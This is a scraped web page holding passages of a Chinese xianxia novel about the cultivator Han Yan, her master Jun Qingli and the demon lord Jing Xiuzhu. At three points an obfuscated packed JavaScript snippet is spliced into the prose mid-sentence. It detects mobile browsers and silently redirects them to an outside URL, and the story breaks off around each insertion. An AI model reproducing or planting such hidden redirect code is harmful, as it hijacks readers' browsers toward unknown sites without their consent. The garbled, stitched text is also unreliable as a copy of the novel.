随着时间流逝,空气被魔气不断挤压,她被一股力量束缚在半空,脚踩不到实地,张嘴发不出声音,双眼看不见东西。 魔气拼命向她涌来,想要钻进她的身体,控制她的神志。 寒砚索性盘腿坐下,百无聊赖地支着下巴,另一只手轻点膝盖,开始梳理现在的情况。 其实也没什么好梳理的。 首先是君屿,他的长相简直就是缩小版的君轻离。 他并没有刻意隐藏身份,只是年轻弟子对他并不熟,也不可能十分冒犯地盯着陌生人的脸看,没认出来实属正常。 寒砚给他盖了个身份确定的章。 然后是现在。 魔气对寻常修士而言是个麻烦,但对寒砚并不能造成实际性伤害。 带走她的人应该是熟悉时间相关的法术,修为渡劫以上,所以才能将她从君轻离面前转移,而不是被当场打死。 此处又隔绝声音,混乱时间,才给她造成一种已经过去很久的错觉。 不过对方现在将她关在这里,目的暂且不明。 “还不出来吗?” 寒砚掌心向上,灵光在她指尖聚拢,并不刺眼,却让环绕在她身周的魔气都开始躁动。 她打了个响指,紧随着是无数惨叫声,有东西飞溅过来,又被她身上的防御符隔绝在外。 空气中,血腥气渐浓。 这不过是她给出的小小见面礼。 铮—— 魔气被剑光劈开,寒砚见到个完全在她意料之外的人。 眉间一点朱砂的少年看见是她,眼中透出几分讶异,不耐道:“不是让你不要乱跑吗?” 他甩掉剑上的妖魔血液,朝她过来,扫了她一眼,“还把自己搞得这么狼狈?往日你折腾我的时候不是挺厉害吗?” 寒砚不解,随着他的视线低头,才发现不知什么时候自己手背上出现了三道黑色指印。 她擦了下,确定是灰尘。 寒砚:“……” 有病? 裴涣扔了张帕子给她,“擦一下。” 寒砚没接,任由帕子落地。 她记得裴涣出身凡尘皇室,哪怕步入修行后都还是习惯随身带手帕,随时保持身上整洁,不容许自己有半分失仪。 他俩同年入门,但关系着实一般,只能说多少有点脆弱的同门情。 寒砚抬起脸,好奇问:“你怎会在此?掌门师兄不是让你去帮忙了吗?” 裴涣冷哼,“这话不该我问你吗?你从小鬼主意多,但这里可不是你瞎闹的地方。好了,少废话,我先带你出去。” 寒砚抬眸望他,浅色的杏眼清亮,映着少年如今的模样。 高大俊秀,矜贵傲气,无论是容貌还是说话的习惯,都的确是她记忆中的裴涣。 她似乎确认了他的身份,用一种撒娇似的口吻:“我腿麻了,劳烦拉我一把。” “裴涣”搓了下鸡皮疙瘩,表面嫌弃,但没有犹豫地朝她伸出空着的手。 靠近了,寒砚以为自己会闻到因为多年不见天日而带来的腐朽气息,没想到却是一股淡淡的香气,像点燃的香料,还带着烛火的暖意。 她顺势被他拉起,佯装没站稳朝他怀中扑去。 一靠近,“裴涣”脸色一下子阴沉得可怕。 寒砚毫无诚意道:“抱歉啊,坐久了……” 噗嗤。 利刃穿透血肉,远比想象中的要顺利,伤口喷出的却不是鲜血,而是源源不断的魔气,几乎模糊了眼前人的面容。 “裴涣”面容扭曲,一把将她推开。 寒砚踉跄几步,勉强站稳,捂着胸口虚弱地咳嗽。 “裴涣”眼神怨毒,身体原地消散,插进他心口的匕首哐当落地。 “你没事吧?” 寒砚应声看去,见君屿大步走来,手中剑几下斩开四周的魔气。 “有的人怎么年纪轻轻就眼睛不行了,你看我像没事的样子吗。” 她一改平日里的温和,弯腰捡起匕首。 “抱歉,刚刚那是?” “一个伪装成我师侄的魔头,不太聪明,不必在意。”寒砚闻到来人身上熟悉的香气,打了个喷嚏。 梅开二度,匕首再度没入“君屿”的心口。 “还真是不聪明。”她面无表情,感觉自己被人小瞧了。 “君屿”脸上出现几分真切的错愕。 片刻后,他看死人一样,冰冷看向杀同门如喝水,毫无心理负担的少女。 “你是怎么察觉到不对的?”他自认在模仿这二人上没有任何破绽。 寒砚抽出匕首,鲜血溅了两滴在她脸上,往后退了几步,狡黠一笑:“当然是……不告诉你。” “君屿”没有动怒,反而跟着笑,“你不如再猜猜,我是谁。” “有什么好猜的,待在这里的不是妖就是魔,总之都不是什么好东西。” 她就算知道他是谁,也完全没必要说出来。 “你倒是不害怕,胆子这样大,不如别修仙了,来修魔吧……” 被骂不是好东西的“君屿”伸出手,邀请她。 寒砚正要开口,无数剑光精准落在面前魔物的身上,光芒太盛,她被晃得抬手遮住眼睛。 她听见魔物痛呼的声音,然后腰间一紧,晕头转向地被人揽着转移了位置。 带着冰雪气息的灵力,将她密不透风地护住,这次没有奇怪的香气。 “抱歉,我来晚了。” 寒砚不觉得有什么,他又没有救她的义务,她也不需要他救。 君轻离转过头,面向黑暗深处,抬手就是一剑。 灵力与魔气激烈碰撞,形成可怕的黑白气旋,呜咽的狂风席卷整个空间,如魑魅魍魉恸声哭嚎。 肆虐的力量似乎要将除了它们主人以外的所有生物撕碎。 砰—— 厚重的黑换成了刺目的白,冰灵力温和但强势地冲刷着长生渊下无穷无尽的死气。 寒砚察觉到自己筑基巅峰的境界隐隐有所松动,用力掐了下掌心,将丹田内内蠢蠢欲动的气息压下去。 现在可不是突破金丹的好时机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888578|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几息过后,光芒消失。 寒砚试探着睁开眼,发现周围的环境已经恢复了正常。 嗯,比起之前来说的正常。 勉强还算宽广的地下空间一览无余,漆黑石壁上点着鲛人油脂制成的长明灯,燃烧的火焰显现出幽深的蓝色,并不算浓郁的香气弥漫在整个空间。 不刺鼻,淡到待久了都会潜意识忽略掉。 是她在那魔物身上所闻到的香气。 顺着鲛灯往下,银白色的阵纹交错延伸至此处正中。 寒砚抬眸,十几条赤红的锁链缠绕着一个赤裸着上身的男人,将其悬吊在半空。 莫名幻视她之前被困在半空的处境。 寒砚神情微妙。 怀疑有东西在报私仇。 男人身高腿长,破烂的衣袍松松垮垮挂在腰间,一头白发遮挡住大半风光,低垂着脑袋,看不清面容。 原本站在寒砚身旁的少年挡住了她的视线。 “别看。” 君轻离没想到会直接掉到这里,更没想到那家伙把自己折腾成了现在这幅样子。 清楚听见他话的男人诈尸般的开口,“哎呀真是的……有什么不能看的?” 声音缱绻拖长,暧昧得像带了钩子。 寒砚不由更好奇,歪着身子探头去看。 悬半空的人有着充满邪性的脸,额间一道细长的红色魔纹,像浸染了血一样鲜艳,而长相是一种惊心动魄的美艳。 是的,美艳。 寒砚也难以想象,这个词会用在一个男人身上。 就是盯人的目光过于阴沉怨毒,像条色彩斑斓的毒蛇。 男人视线在寒砚和君轻离二人身上来回打转,忽然,跟疯病发作一样大笑。 “我说君轻离,你扮作这幅样子是要作甚?练剑练傻了忘了自己几岁?上万的老东西还学那些年轻浪荡子勾搭小姑娘?若不是有一身好修为,你脸上的褶子怕是比头发还多哈哈哈……” 君轻离没搭理他,自顾自地去检查自己布下的阵法到底是哪里出了差错,才叫这家伙还有心思挖苦他。 寒砚努力降低自己的存在感。 等对方自己笑够了,目光又落到降低存在感失败的寒砚身上,蛊惑道:“修什么仙啊,你看你修仙连病都治不好,来修魔我保准你……” 青光剑顺着男人脸侧擦过,赤红锁链随之收紧,发出一连串清脆的叮当声,上一刻还嚣张不已的人顿时铁青着脸,口中发出痛苦的闷哼。 君轻离召回剑,剑气在男人脸上划开一道血淋淋的口子。 “君、轻、离!”男人咬牙,声音也不夹了,回归原声:“你这是恼羞成怒?莫不是真被我戳中了心思。” “……魔尊大人也不必挑拨离间。” 寒砚实在听不下去了,直接打断魔尊的话。 她的目光停留在背对她的君轻离身上。 少年脊背挺得笔直,像历经万年风雪仍旧不折不弯的青竹,然而此时,那看似端方的线条透出几分僵硬,就连握剑的手,指节都泛起了白。 寒砚的话还在继续,很轻,却足够坚定。 “我相信仙君行事自有考量,魔尊以己度人,自然觉得世间众人都如您一般……” “装模作样,惹人厌烦。” 5. 第5章 魔尊,大名镜修竹,道号浮生,人称浮生魔尊。 浮生,也是浮生仙宗的“浮生”。 据说他当初入魔时,杀死了浮生仙宗的掌门继承人,并以浮生二字作为自己的尊号,嚣张至极地将浮生仙宗的脸面按在地上摩擦。 镜修竹入魔后修炼邪法,修为大涨,一人一刀杀进魔宫,以极其残忍的手段杀死了上一任魔君,屠尽魔界皇族。 自此,魔界没有魔君,只有魔尊。 至于寒砚为何对这些很是清楚,只能说不管在哪个世界,多看书总是没错的。 其中更令人津津乐道的是,镜修竹和君轻离都出自无妄剑宗,还是同一个师尊门下。若非那位尊者早已飞升,只怕是会被人堵着问他是如何教徒弟的。 “你倒是有点意思。” 镜修竹已经快被气死了,他一改之前虚弱的模样,冷声唤:“锦瑟。” 悦耳琴音从四面八方响起,由远及近,一开始如同圣洁的梵音,令人心旷神怡。 短短几息过后,风格逐渐诡谲,好似靡靡之音,引诱人走向无底深渊。 寒砚迅速反应过来,指尖夹着符箓,轻喝了声“去”,另一只手掐诀,在身前竖起结界。 音波不再传到耳中。 绵绵不绝的琴音撞击在四周墙壁上,如有实质地回弹,赤红锁链终于不堪重负寸寸断裂。 轰隆! 脚下的地面和石壁不断裂开,赤红的岩浆从地下渗出,热意灼人,俨然是即将崩塌的征兆。 此前被阻拦在外界的魔气,从缝隙中争先恐后地钻入。 君轻离将青光剑往身前一横,浩然剑气以他为中心向四周荡开。 琴音像是被按了暂停键,地下空间也不再躁动。 君轻离没动。 寒砚见他的样子似乎并不打算阻止。 她看向已经摆脱锁链但尚在整理仪容的镜修竹,以及他身侧抱着七弦古琴的白裙女子。 女子气质典雅,冷白指尖随意拨动琴弦,像一幅名贵华美的仕女图。 “尊主,该走了。”锦瑟道。 跟个二傻子一样磨磨蹭蹭,坐了几千年的牢,脑子还没坐清楚吗? 镜修竹看不懂属下的眼神,充满邪气地一笑,“今日算是便宜无妄剑宗了。” 魔界的计划他通过锦瑟知道些,如果不是君轻离突然回来,他们今日便可里应外合将剑宗一网打尽。 算他们运气好,逃过一劫! 见两人离开,寒砚下意识跟上去,却一头撞在透明的屏障上,差点摔倒。 君轻离默默收回手。 经过她这么一撞,原本隐形的阵法显示了真面目。 悬浮在半空的符文泛着红光,既没有灵气也没有魔气,寒砚伸手去碰,掌心如触电般的麻。 君轻离看出她的疑惑,“三千年前,我自创这一阵法,所用力量非仙非魔,乃引界外混沌之气,专门用于关押镜修竹。” 寒砚了然,难怪他之前一动不动,原来是在破阵。 “仙君似乎一点都不着急。” 君轻离摇头,“世间需要阴阳协调,魔尊出世是大势所趋。仙门繁华已久,但金玉其外,魔界式微,却狼子野心。浮华界需要平衡,天道不在意世人生死,祂不会让一方坐大。” 简单点说就是,生在这个时代的人,注定经历战火。 他与镜修竹修为相当,两人因种种原因各自困在一方,这也是天道的平衡。 平衡,则浮华界相安无事。 寒砚大致理解。 类似于前世人们所说的生态平衡? 只不过在浮华界万物皆可修道,情况要复杂许多。 好歹是自己亲手布置的阵法,君轻离很快解开最后一环。 “好了,此阵一破,长生渊的禁制也随之瓦解,他们在上面不会有事,我们追上去。” 怕寒砚在他看不见的地方出事,君轻离没让她跟执法堂的人一起出去,决定将她带在身边最安全。 ——起码出了事他能以最快的速度反应。 君轻离手往虚空一划,足有一人高的裂缝出现,透着充满危险的深邃幽蓝。 虚空的罡风从里面吹出,将地面刮出一道道数十米深的沟壑。 “我如今不过分身,修为不够,你且拉着我。” 寒砚点头,作势去拉他的衣袖。 君轻离却抢先一步拉住她的手腕。 寒砚惊疑不定地看他。 少年人的身躯比她高了近一个头,甫一靠近,干净柔和的灵息几乎将她笼罩。 君轻离没想太多,灵力趁机在寒砚体内游走一圈,没发现什么异常,没有魔气也没有其他邪气,不禁松了口气。 没事就好。 “走吧。” 寒砚被他拉着,眼睛一睁一闭,便已从深渊出来,来到黄沙与绿植相交之地。 往前是黄沙漫天,似苍龙横卧大地,往后是古树蔓延,青黑一片形同鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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镜修竹无视这些各异的眼神,嘴角勾起乖戾的笑,“怎么,本尊的话不好使了?” 阴郁狭长的眸子如淬寒冰,凉凉地审视着剩下的八位长老,靡丽的脸上笑容淡去。 “还是说,你们和那家伙有同样的想法?” 锦瑟事不关己地站在一侧,冷眼看着这场闹剧。 在魔宫的十二位长老中,好几个位置都已经换过几轮了,年纪大的上万,年纪小的甚至不到一千,如今尊主出来,是时候清理一番了。 6. 第6章 镜修竹在长生渊看见君轻离时,就知道这群蠢货的计划绝无成功可能。 锦瑟道:“尊主,既然诸位长老自有打算,那我们便先回魔宫。” “左护法说的有理,但——” 人首鹿身的女性魔族话音一转,“仙门承平万年,弟子长老养尊处优,外强中干,正是进攻修真界的好时机。尊主与世隔绝多年,不了解情况也情有可原。二位不妨先回魔宫休养,待我等凯旋庆功。” 听着对方表面周到的话,镜修竹讽刺地扯了下唇角,还未说什么,便听头顶传来少女轻快的嗓音。 “哦,这般自信啊?” 诸魔往上抬头,只见一少女盘腿坐在葫芦上,手上抛着个高阶阵盘,此时正好整以暇地看着他们。 镜修竹眉心一跳,这家伙什么时候到的? 中年模样的红发魔修一愣,仰头大笑:“仙门果真没人了,竟然来了个乳臭未干的黄毛丫头。” 十八岁的骨龄,筑基修为,这不明摆着来送菜的?要知道魔修不吃人,魔族可未必! “罗里吧嗦的,哪这么多废话!” 肌肉虬结的近两米高的魔修咧开黑牙大嘴,声若洪钟,“这小东西就交给怨女,其余人随我去处理界石。那玩意儿才是个大麻烦……” 高大魔修骂骂咧咧,带着人打算离开。 高空飞舟之下,乌压压的魔界大军一眼望不见尽头,正在朝修真界边缘快速逼近。 被称作怨女的老妪目露精光,眨眼间到了寒砚面前,抬起干枯的五指压向她。 周围灵气被瞬间绞杀干净,寒砚淡定开口。 “师尊。” 天空毫无预兆地开始飘雪。 怨女动作一顿,手像陷入了泥沼,不能前进更无法后退。 “谁?!” 未知让这群魔警惕起来。 一道修长的青色身影携风雪出现在寒砚身前。 他抬起眼睫,无形灵压如山岳倾覆,海浪翻腾,毕生温和都在此刻化作杀意。 风雪乍然凶猛,气温骤降。 怨女发出一声惨叫,如断线风筝飞了出去,而她攻击寒砚的那只手,鲜血喷洒,从高空坠落。 除了被他护得严严实实的寒砚,以及修为深厚的镜修竹,其余的魔界长老们骤然呼吸困难。 好歹是魔尊,镜修竹终于不再作壁上观。 同样强大的魔气与来人灵力碰撞,无边气浪荡开,激起百丈黄沙漫天。 锦瑟擦了下唇边血迹,无声站到镜修竹身后,七弦古琴抱在怀中,蓄势待发。 寒砚嘴角翘起,发丝都没乱一下,就差掏把瓜子出来嗑了。 她是一个人循着魔气找到飞舟的。 君轻离的分身一出虚空就被罡风湮灭,只留给她一句“原地等他”。 寒砚把话当作耳旁风,直接追着镜修竹过来。 突然,一道声音在她脑中响起,与此同时,一个玉盒落在她手中。 “界石受损,来不及通知宗门,吾拖住他们,你带着这个过去,随时与吾保持联系。” 寒砚有点不乐意,好戏在这边,她作为观众哪能提前退场。 但她没理由拒绝。 “我要做什么?” 对方回:“找到界石,保护好自己,不要和魔界的人说话。” 寒砚揣着盒子离开。 她走后,青年这才收回注意力。 在场的八个魔界长老中,三个合体五个化神。 上一世,正是他们带人,和仙门的叛徒勾结,屠尽无妄剑宗。 他眉间细长的道纹闪过一抹银光,手中青光剑褪去平凡外表,湛蓝剑身在阳光下流转着月华般的碎芒,属于渡劫期的恐怖实力爆发。 边界无数生灵躲回自己的巢穴,身体止不住地发抖,既敬仰又恐惧。 青年如玉石相击的声音依旧温和,此刻却几乎响彻天地。 “无妄剑宗君轻离,道号长泽,请赐教!” …… 说是坐在葫芦上,其实根本就是被那个古怪的盒子拖着走。 寒砚想半路打开,手指都快掰断了也没能让它分开一条缝。 系统给剧情太少,起码在大纲中,就没有什么仙君及时出现力挽狂澜追杀魔尊,拯救水深火热中的男主和剑宗啥的。 再大胆猜测,说不准根本没有什么穿书,不过是系统忽悠人的把戏。 不过系统已经没了,再多猜测也仅仅是猜测,难以得到验证。 寒砚又被盒子拖着在半空绕了个圈,被迫甩出脑子里乱七八糟的东西。 她一边呸呸地吐出嘴里的沙子,一边抱紧盒子,让自己别被甩下去。 突然,玉盒脱手,她掌心一痛,一个仰倒差点从空中摔下去。 玉盒在半空极速旋转,盒盖啪地打开,飞出一块婴儿拳头大小的灰色石块。 狂风以灰石为中心,逐渐形成看不见尽头的漩涡龙卷。 寒砚安抚了下砰砰跳个不停的心脏,给自己贴了几道符。 风暴中心黄沙遮掩,看不真切,直到风停沙落,寒砚才看见那灰石表层开裂,扑簌簌往下掉粉。 轰—— 寒砚连人带葫芦一下被滔天的气浪掀飞。 百丈高的黑色巨石拔地而起,直插云霄,笔直地立于无边无际的黄沙大地之上。 万千符文如有生命一般,自下而上盘旋升空,在刺目阳光照耀下金光闪烁,威严又神圣。 隐隐约约间,她看见四象虚影于天空浮现,呈守护的姿态环绕在巨石四周。 巨石的出现,突兀得让人震惊,可目光触及的刹那,又会生出“本该如此”的笃定。 ——仿佛它本来就该立于此,守望着仙魔两界。 寒砚稳住身体,回想起书中关于界石的传说。 万年前,五域并未有结界阻隔,除了最弱小的凡人,修士、魔族、妖鬼皆肆意行走在这个世界的每一地界。 是以,上古之时,混乱不堪。 有人修仙道,有人修鬼道,有人修魔道,道不同却强行待在一起,导致浮华界每天都在各种混战。 直到一位绝世天才的出现。 他在雷劫中参悟大道,成为修真界有史以来最年轻的渡劫期。 然而这样一个注定飞升的人,却以全部修为为引,以天外混沌之石为媒,铸成隔绝五域的界石。 从此五域各不侵扰,相安无事至今。 这位修士,便是君轻离。 当然这只是古籍记载,由于时间过于遥远,现在的修士们多当作传说,毕竟没人见过传闻中的界石,更没人敢跑去问当事人真假。 而现在,寒砚见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888580|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了传闻中的界石。 灰色石块消失不见,玉盒回到她手中。 找到界石,她的任务已经完成。 不过嘛,就是有点小麻烦找上门了。 她轻啧了声,眉眼弯起无害的弧度。 界石出现的动静太大,魔界大军的先锋队接二连三被吸引过来,寒砚正要动手,手上玉盒爆发出瀚海般庞大的威压。 “唳——” 出乎意料的,凡是靠近她的魔物都在灵压震慑下瑟瑟发抖。 她掂了掂盒子,难怪君轻离敢让她一个病秧子独自出任务。 巴掌大的盒子在葫芦上投下一片不大的阴影,阴影里面好似有奇怪的东西蠕动。 黑影忽地蹿出,寒砚一惊。 披着斗篷的黑影不似人形,浮在半空,两簇幽幽跳动的火焰,高高在上地睨了她一眼。 是个魔族。 然,魔族不打算搭理她,扭头就走。 寒砚叫住它,“等等,你刚刚吓到我了。” 正准备回去找魔尊的影魔:“?” 寒砚认真道:“你要给我道歉。” 影魔:“?” 你和你这个破葫芦莫名其妙飞出来撞到我的时候怎么不和我道歉?! 他懒得理这个脑子有病的人类,身体化作影子,直接遁走。 五秒后,遁走失败。 十多张符箓将他围住,封死了每一个方向。 影魔恢复成人形状,凶恶道:“死小孩儿,再耽误我的事我吃了你!” 看来这个没礼貌的魔是不会道歉了。 寒砚活动了下指节,桀桀一笑,并指在空中一划。 万千半透明的丝线从她身后出现,从四面八方飞来,灵活又迅速地缠上影魔的身体。 影魔震惊,还算镇定:“什么鬼东西?” 它疯狂闪躲着,速度极快,但丝线的速度更快! 影魔心烦不已,想先抓住寒砚,但是在玉盒的影响下,一靠近她就忍不住心生惧意。 丝线宛若活物,钻进它的斗篷中。 察觉到什么,影魔眼中火焰大盛,浑身战栗着。 丝线越勒越紧,直直勒入它的神魂之中,并留下无法抹除的烙印。 斗篷下的影魔发出低哑痛苦的嘶吼,被丝线控制着,身体悬挂在半空。 寒砚驱使葫芦靠近。 她支着下巴,眼睛亮晶晶地等待。 许久,影魔声音渐弱,咬牙切齿:“……傀儡丝?你一个正道修士,竟然修邪法!” 傀儡丝,乃是数千年前的心傀宗秘法,属于邪修法术,以心头血为养,可侵入修士经脉乃至识海。 不仅可操控修士言行,已臻化境后,合体修士亦可为手中提线木偶。 傀儡无知无觉,生死俱在主人一念之间。 当时心傀宗以无辜者心头血养育傀儡丝,操控了众多化神修士,最后自食恶果遭到反噬,被傀儡联合十大仙门所灭。 寒砚拍手赞叹:“不错嘛,还有点见识,不过这话我不爱听,正道修士怎么了?术法本无好坏之分,不过人心诡谲,不知满足。我不是心傀宗的蠢货,你也别异想天开,你不会想知道傀儡背叛主人的下场。” 她手掌落在影魔头上,看似柔软的五指硬过玄铁,插入它的神魂中,生生取走一缕。 7. 第7章 并非偶然从远处路过的镜修竹将一切尽收眼底。 他最开始看到影魔和君轻离的徒弟在一块,还以为自己即将看到那个女修凄惨的死状,没想到却是影魔被她手中丝线困住,沦为她的傀儡。 镜修竹啧啧称奇,君轻离竟收了个邪修当弟子。 不,不对。 应该是这个女修自己,长成了邪修。 就是不知以君轻离那迂腐至极却又心慈手软的性子,在知道她的真面目后,还能不能再一次大义灭亲。 唯恐天下不乱的魔头不怀好意地想着。 破空声从身后传来,脑子还没反应过来,身体已经先一步躲开攻击。 不用回头看,都知道是君轻离杀过来了。 镜修竹恨恨咬牙,如果不是他还要保存实力回去整顿魔界,他今天非要跟这狗屁剑修斗个你死我活! 镜修竹挥刀往半空一划,纵身跳进虚空。 另一边,寒砚似有所感地侧首,看向镜修竹所在的方向,眼底划过一道红光。 那里…… 曾有只老鼠在偷窥。 还是太弱了么,竟然都没能及时发现。 寒砚拍了拍影魔的头,半是威胁地说:“好啦,你以后就是我魔界的人脉了,可要好好活着哦。” 被傀儡丝控制的生物,行动和思维都在主人的掌控中,它们是完完全全的提线木偶,只要寒砚想,她能立马要了它的命。 影魔不吭声,只是默默裹紧了自己的斗篷,瑟瑟发抖。 界石出现,两域结界上被人为破坏的洞以肉眼可见的速度自我修复,正要等着跨过边境的魔界大军还没反应过来发生了什么,就被强势排斥出修真界。 不过,还剩下少许离得太远的漏网之鱼。 寒砚驱使葫芦往回,路上遇见没被送回去的就给顺手清理掉。 半路,与君轻离相遇。 君轻离神情紧张,一把拉过她,将她浑身上下检查了遍。 “身体可还承受得住?没出什么意外吧。” 君轻离想不明白。 他明明记得,上一世寒砚的身体并没有什么问题,但是重生回来,他拥有了这具身体过去的记忆,发现她竟然从小就身体不好。 寒砚将自己的手抽出来,“谢仙君关心,我身体尚好,一切顺利。” 君轻离紧绷的神经稍稍松懈,“那就好,我那边也已经解决了,走吧,先回宗门。” 浮华界的面积大概是寒砚原来世界的一百倍左右,之所以说是左右,因为在这个光怪陆离的仙魔世界,还有很多地方不曾被人踏足。 光是从剑宗到此地,若是要寒砚坐着她那破葫芦赶路,没个一月半月的时间想都不要想。 镜修竹会空间法术,在原来的剧情中,剑宗被灭门他是其中关键。 而君轻离不擅此道,只是单纯地凭借渡劫期的修为破开虚空,缩地成寸。 两人一进一出,睁开眼就是剑宗的仰止峰,这是除了掌门所在的开阳峰以外最高的山峰。 剧情中的苍穹塔就伫立在山顶,一共九十九层,每一层近十米高,笔直刺入云间。 站在山下,抬头就能看见山顶上空的禁制和剑阵,密密麻麻,气势强大得让人腿软。 而看守此处的连溪长老修为深厚,铁面无私,斩杀妖魔无数,在浮华界有着赫赫威名。 真要说起来,比起禁地,这才是无妄剑宗布防最严密的地方,没有之一。 起码寒砚在剑宗待了十多年也没能找到机会混到顶层去。 她刚同君轻离出现在仰止峰上空,刺鼻腥风如刀,还没看清是什么,先一步走出虚空的君轻离抬手就将妖族冻在原地。 “不杀掉吗?” 寒砚看到冰块里的妖族眼睛都还在转,玩心大起,伸手在它眼前晃。 他们脚下是尚未遭难的山峰,山峰上空的剑阵不知何时已消失不见,山间林木蓊郁,半掩着略微简陋的执法堂大殿。 君轻离怜悯道:“它们本就罪不至死,所以才被关起来而不是就地处置……” 他想劝她不要戾气太重,但又怕适得其反,引起孩子叛逆。 终究还是没说。 寒砚挑眉,对他的说辞不置可否。 轰—— 伴随着一声巨大的声响,塔身忽然往旁边一歪。 寒砚看过去,就见苍穹塔三四层的位置破了个大洞,阳光照耀下,灵光闪烁,明显已经被提前来此的长老们处理过。 此时一摇晃,碎砾簌簌落下,看起来塔内的形势尚未被完全控制住。 不过应该也问题不大,不然君轻离不会如此风轻云淡。 但无论如何,都比外面要危险许多。 君轻离想着,将寒砚一个人放在外面也不见得安全——更何况她本身就是个不定时炸弹。 “你随我进塔,切记待在我身边,不要乱跑。” 寒砚无可无不可地应了声,对此没什么所谓。 苍穹塔下。 被魔气控制的低阶妖族流着哈喇子,各自追着几个剑宗的弟子跑。 内门弟子都是筑基起步,有不少已经步入金丹,轻而易举就能杀掉这些妖族。 但没人想要杀死它们,反而被追得慌不择路。 寒砚跟在君轻离身后,好奇地看了眼。 “你在奇怪,为什么不杀它们对吗?” “……是。它们对仙君没有威胁,仙君留它们一命我可以理解,但是这些弟子们一旦不敌,失去理智的妖族可不会口下留人。” 君轻离脚下停顿,“这些妖被魔气所控,就算将它们体内的魔气剔除,身体也会受到无法逆转的损伤。” 寒砚大抵明白他的意思。 这些妖族被关在塔内赎罪,有的兴许在今年就该刑满释放回妖域,而这场突如其来的变故,不仅剑宗遭殃,这些本没有大错的妖也是受害者。 “你向来聪慧,定然能够明白,以杀止杀从来都不是上上之策。真正的强者不仅在于实力,心性和悟性都缺一不可。不轻视弱小,不蔑视生命,才是踏出了成为强者的第一步。” 寒砚沉默,没忍住轻笑了声。 “世人皆道,弱肉强食,如今仙君所言,令弟子茅塞顿开。” 她嘴上这么说,心中却未必认同。 君轻离的话有错吗? 便是寒砚也不得不承认,他说的当然没错。 虽然过于理想主义,但他是君轻离,是浮华界唯一的仙君,他有这个底气说,更有这个实力去付诸实践。 万年前,他就是这么做的,众生在他眼中都是浮华界的一员,他偏爱人族,却也不会蔑视他族。 但他不该妄图将这个想法强加给她,她不是三岁小儿,她不需要教导。 可寒砚也不会去反驳,最多道不同不相为谋。 世间万物于她不过草木,何须在意,何须理会。 见她表面乖巧实则根本没听进去,君轻离早有预料。 要是自己随口说两句就能撼动她的想法,他上辈子也不会被她反手捅了一戟,现在想起心口都还残留着幻痛。 君轻离顿感头疼,作为师尊,他还任重而道远。 …… 层数越往上,来自剑宗阵法和天道的制约越强,关押的妖族也就越可怕。 仙魔不两立,但寒砚在跟着君轻离往上的途中,却见到了几个被关押的魔修。 “他们犯了何事?” 君轻离推开楼梯门,回她:“有的是入魔误杀亲人,有的是难以接受自己竟为心魔所困,不得已堕魔。但无一例外,他们没有勇气自我了断,于是选择被囚禁在此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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君轻离和寒砚步入时,十几双眼睛看过来,然后在寒砚身上停顿了一秒。 一是在进入这层时,君轻离不知何故给她身上加了好几层护身结界,有些惹眼,二则是没想到仙君把门中小弟子来到这么危险的地方来。 一群人看君轻离的目光中不禁带上了些许不赞同。 君轻离摸了摸鼻子,主动打破沉默,“情况如何?” 掌门回过头,看向头顶浮雕,“尚可控制,不过里面似乎出了点问题。” 他猜测也是因为里面出了变故,才会让苍穹塔塔身不稳。 站在旁边的寒砚眼神微动。 里面? 君轻离走过去,抬首往上,寒砚目光紧随,忽地一凝。 头顶上方全是雕刻精美但古老的浮雕,整体以黑红为主色调,因时间太长导致掉色和破损,但被人用心保护着,勉强能够看清所刻场景应当是在祭祀。 无数人围成一圈向中央朝拜,巫师装扮的人浮在半空高举着幡,似乎正在进行沟通天地神明的仪式。 而此时巫师头顶的上空,脱落了一块的位置,正在往外渗出魔气,渗出的魔气又很快被剑阵剿灭。 没有剧情中来自外界的干扰,长老们应付这些并不算吃力。 君轻离收回视线,“你们在此将阵法修补完善,我进去检查。” 他一回头,就见寒砚还在目不转睛地打量浮雕。 看上面人物的装扮,明显是上古之时。 就她所知,苍穹塔至少已存在上万年,实则只会更久远,只是不知是何原因,藏书阁中并未对此有详细的记载。 她曾因为好奇问过掌门,但就连掌门对此也知之甚少。 其中细节,估计只有君轻离这个活了上万年的人才清楚。 唔,直接问吗?好像还不太熟…… 8. 第8章 逃出来的低阶妖族被剑宗弟子们用捆妖绳绑住,全部挤在中间的空地,还余下两只实力最强也最麻烦的妖,被分别留给在场修为最高的两位师兄。 远处,常笑迎风而立,属于金丹剑修的气息将其中一只妖吸引过去。 他拔剑出鞘,如风掠去,转瞬间在它身上留下十几道血痕。 不会危及性命,但剑气留在伤口中会让它疼痛难忍,逐渐失去战斗力。 漫天灰尘散开,露出首席弟子修长的身影,蓝衫猎猎,剑气逼人。 没了长生渊下魔气的压制,他将自身强悍的实力发挥得淋漓尽致。 